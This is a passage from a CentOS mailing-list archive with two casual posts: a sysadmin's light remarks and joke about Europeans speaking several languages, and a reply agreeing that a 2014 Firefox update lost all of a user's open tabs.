 307m). That leaves about 22 European countries not (yet) in the EU.


My take would be he just didn't focus on the domain name. Sysadmins
usually decipher those into geographical location easily. I admire Europe:
everybody speaks multiple languages. BTW one of our professors brought
this joke when he came back from Europe. If I wasn't sure the joke has
long-long beard I would think he made it up himself...: Person who speaks
2 languages: bilingual, 3 languages: trilingual; 1 language: American ;-)

Valeri


Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-24 Thread Tom Bishop
On Wed, Sep 24, 2014 at 7:41 PM, mark m.r...@5-cent.us wrote:
 I just updated firefox, here at home... and when I fired it back up, *all*
 of my tabs were gone. Every one (all couple dozen...)

 mark, CentOS 6.5
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos

Me too and I had lots of tabs :(
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos